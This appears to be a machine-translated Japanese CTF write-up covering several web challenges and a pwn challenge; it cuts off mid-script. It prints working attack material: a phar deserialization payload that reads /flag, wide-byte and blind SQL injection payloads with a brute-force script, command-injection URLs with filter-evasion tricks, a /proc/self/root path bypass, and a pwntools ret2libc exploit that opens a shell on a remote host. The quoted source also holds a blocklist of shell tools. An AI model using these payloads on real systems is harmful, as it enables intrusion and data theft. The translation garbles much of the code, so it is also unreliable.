1。 web
1.web_baliyun
入力後、ファイルがアップロードされ、写真のみをアップロードできます。 www.zipにアクセスしてソースコードを取得します
ウェブサイトソースコード:index.php:php
include( 'class.php');
if(isset($ _ get ['img_name'])){
$ down=newCheck_img();#ここに
echo $ down-img_check();
}
if(isset($ _ files ['file'] ['name'])){
$ up=newupload();
echo $ up-start();
}
?
class.php3360?php
classupload {
public $ filename;
public $ ext;
public $ size;
public $ valid_ext;
publicfunction__construct(){
$ this-filename=$ _ files ['file'] ['name'];
$ this-ext=end(Explode( '。'、$ _ files ['file'] ['name']));
$ this-size=$ _ files ['file'] ['size']/1024;
$ this-valid_ext=array( 'gif'、 'jpeg'、 'jpg'、 'png');
}
publicFunctionStart(){
$ this-check();
}
privateFunctionCheck(){
if(file_exists($ this-filename)){
「Imagealreadyexsists」を返します。
} elseif(!in_array($ this-ext、$ this-valid_ext)){
'onlyimagecanbeuploaded'を返します。
}それ以外{
return $ this-move();
}
}
privateFunctionMove(){
move_uploaded_file($ _ files ['file'] ['tmp_name']、 'upload/'.$ this-filename);
'uploadsuccsess!'を返します。
}
publicfunction__wakeup(){
echofile_get_contents($ this-filename);#ここ2
}
}
classcheck_img {
public $ img_name;
publicfunction__construct(){
$ this-img_name=$ _ get ['img_name'];#ここに
}
publicfunctionimg_check(){
if(file_exists($ this-img_name)){#here1
「ImageExsists」を返します。
}それ以外{
「イマンノティーズシスト」を返します。
}
}
} PhARが降下し、アップロードしてからそれを含めることは明らかです。また、コードはアップロードとしてアップロードディレクトリを配信し、ファイル名は変更されていません。
Phar Deserializationの詳細については、参照してください
PHP降下拡張攻撃の詳細な説明-Phar: https://xz.aliyun.com/t/6699
Phar and Stream Lapperは、PHP RCE : https://xz.aliyun.com/t/2958の詳細なマイニングを引き起こします。
#test.php
?php
classupload {
public $ filename;
publicfunction__construct(){
$ this-filename='file: ///flag';
}
}
$ phar=newphar( 'tao.phar');
$ phar-stopbuffering();
$ phar-setstub( 'gif89a'。 '?php__halt_compiler();');
$ phar-addfromstring( 'test.txt'、 'test');
$ payload=newupload();
$ phar-setmetadata($ payload);
$ phar-stopbuffering();
php - definedphar.readonly=0test.php
mvtao.phartao.gif
クラスでPhARを開始できる関数file_existsを見ました。フラグを読むことができる関数。その後、アイデアは非常に明確です。 TAO.GIFを直接アップロードすると、コンテンツはアップロードクラスであり、プロパティファイル名は /フラグです。次に、IMG_NAMEをPhAR: //アップロード/TAO.GIFに渡して、PHARパッケージをトリガーします
Tao.gifをアップロードしてから?img_name=phar: //upload/tao.gifはフラグを取得できます。
oulo@gota:~$curl-vvhttp://39.107.82.169:27417/index.php?img_name=phar://upload/tao.gif|grep'flag ''
...............
get/index.php?img_name=phar: //upload/tao.gifhttp/1.1
host:39.107.82.169:27417
user-agent:curl/7.58.0
Accept:*/*
HTTP/1.1200OK
日付:mon、19sep202220336042:08gmt
server:apache/2.4.25(debian)
X-Powed-by:php/5.6.40
vary:ACCEPT-ENCODING
Content-Length:1925
content-type:text/html; charset=utf-8
...............
flag {s8hjqg5ftej9kcc65mn55k9xjrrgyvqg}
2.EASYLOGIN
SQL注入。 Burpがパケットをキャッチしたとき、GBKがコードを絞ったことを発見し、それが広いバイトインジェクションであることに気付きました。
username=admin%df'password=admin
エラーを報告する:
SQL構文にエラーがあります。適切な構文のためにMySQL Serverバージョンに対応するマニュアルを確認してください。
関節注入発見:をテストします
には常に構文エラーがあります。トラブルシューティング後、SelectとUnionが空に置き換えることがわかっているため、Double Writeを使用してバイパスする方が簡単です。
直接関節噴射パスワードをログインできません。通常のサイト開発パスワードはMD5になると思います。そのため、MD5を使用して暗号化します。引用符は使用できないため、16進バイパスを選択します。
仮想テーブルを作成し、直接ログインします。バックグラウンドロジックはMD5比較です。同様の元の質問username=admin%df%27Ununion%0aseElectlect%0A66,66,0x343762636365365633734666635383963438363776462643535365396363613963830-#PROPT=AAAA AAAパスワードが弱く、パスワードはadmin123を爆破します
get/index.php?ip=127.0.0.1%0alshttp/1.1
host:39.107.75.148:19304
pragma:No-cache
Cache-Control:No-Cache
アップグレード-Insecure-Requests:1
user-agent:mozilla/5.0(windowsnt10.0; wow64)applewebkit/537.36(khtml、virtgecko)chrome/86.0.4240.198Safari/537.36
Accept:Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Avif、Image/Webp、Image/APNG、*/*; Q=0.8、Application/Signed-Exchange; v=B3; Q=0.9
Referer:http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding:GZIP、deflate
Accept-Language:Zh-Cn、Zh; q=0.9
cookie:phpsessid=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection:Close
#ソースコードを読み取ります
?ip=127.0.0.1%0apaste%09index.pharray
(
[0]=?php
[1]=
[2]=header( 'content-type:text/html; charset=utf-8');
[3]=
[4]=//オープンセッション
[5]=
[6]=session_start();
[7]=
[8]=
[9]=
[10]=//最初にCookieがユーザー情報を覚えているかどうかを判断します
[11]=
[12]=if(isset($ _ cookie ['username'])){
[13]=
[14]=#ユーザー情報を覚えている場合、セッションに直接送信されます
[15]=
[16]=$ _セッション['username']=$ _ cookie ['username'];
[17]=
[18]=$ _セッション['islogin']=1;
[19]=
[20]=}
[21]=
[22]=if(isset($ _ session ['islogin'])){
[23]=
[24]=//ログインした場合
[25]=
[26]=
[27]=$ res=false;
[28]=
[29]=if(isset($ _ get ['ip'])$ _ get ['ip']){
[30]=$ ip=$ _ get ['ip'];
[31]=$ m=[];
[32]=if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | touch | curl | curl | scp | kylin | echo | tmp | var | run | greep | - | `|' | '| : |||| more)/'、$ m){
[33]=$ cmd='ping-c4 {$ ip}';
[34]=exec($ cmd、$ res);
[35]=} else {
[36]=$ res='ハッカー、違法な声明があります';
[37]=}
[38]=}
[39]=
[40]=
[41]=} else {
[42]=
[43]=//ログインしていない場合
[44]=
[45]=Echo'Youはまだログインしていません。Ahref='login.html'login/a';
[46]=
[47]=}
[48]=
[49]=?定期的な傍受は次のとおりです。
if(!preg_match_all( '/(\ |||; || \/| cat | flag | touch | curl | scp | kylin | echo | tmp | var | run | grep | - | `|' | : ||| more | more)/'、$ ip、m)しかし、 /傍受されるため、ディレクトリを入力してファイルを読み取ろうとしますが、質問はLinuxシステムの特性を使用してKylinをフィルターし、ディレクトリファイルを定期的に確認します。
#Kylinディレクトリを読み取ります
?ip=127.0.0.1%0als%09ky ?#出力:
事前に
(
[0]=flag.txt
))
/pre#finalPayload
?IP=127.0.0.1%0ACD%09KY ?%0APASTE%09FL*#%09=''(TAB)、実際には$ {ifs}もできます
?ip=127.0.0.1%0ACD%09KY ?%0apaste $ {ifs} fl*
?ip=127.0.0.1%0aca''t $ {ifs} $(fi''nd $ {ifs}バイナリを使用して、ケースに敏感になります。
スクリプトのインポレクティストの直接メモ
proxy={'http':'127.0.0.133608080'}
result='0x'
k=0forjinrange(100):
Foriinrange(33,126):
k=hex(i)
K=K [2:]
結果+=k
Password='または(case \ x09when \ x09(binary \ x09username'+result+')\ x09then \ x091 \ x09else \ x09223372036854775807+1 \ x09end)#'
data={'username':'aa \\'、 'password':password}
re=requests.post(data=data、url=url、proxies=proxy、aople_redirects=false)
#sleep(0.1)
印刷(re.status_code)
if'msg'notinre.text:
結果=結果[:-2]
l=hex(i-1)
L=L [2:]
結果+=l
印刷(結果)
壊す
else:
結果=result [:-2]最後に、username=flag_accountpassword=g1ve_y0u _@_ k3y_70_937_f14g !ログインを送信した後、それは単純な再ファイルであることがわかります。フィルタ /フラグを立てるだけで、直接使用できません。 /proc/self/root/flagを使用するだけですか?phpsession_start(); if(sesset($ _ session ['name'])){if($ _ session ['name']==='flag_account'){$ file=urldecode($ _ get ['file']); if(!if(! preg_match( '/^\/flag | var | tmp | php | log | \%| sess | etc | usr | \。| \ : | base | ssh | http/i'、$ file ){readfile($ file);} else {echo'tryagain〜 ';}} show_source(__ file __);} else {echo'login〜';}
3.web_letmeguess_1
4.web_eeeeasy_sql
BASIC RET2LIBC
frommpwnimport*
context.log_level='debug'#p=process( './h3ll0rop')
p=remote('47 .93.30.67 '、52705)
elf=elf( './h3ll0rop')
libc=elf( './libc-2.23.so')
pop_rdi=0x0000000000000400753#vuln=0x400647
vuln=0x4006cc#leaklibc
ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(elf.got [' puts '])+p64(elf.plt [' puts '])+p64(vuln)
P.Sendlineferter(b'me ? '、ペイロード)
libc_base=u64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]
print( 'libc_base'、hex(libc_base))
system=libc_base+libc.sym ['system']
binsh=libc_base+next(libc.search(b '/bin/sh'))#getshell
ペイロード=b'a '*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
P.Sendlineferter(b'me ? '、ペイロード)
p.Interactive()p.close()
2。 pwn
frommpwnimport*
Context(os='linux'、arch='amd64')
context.log_level=true
e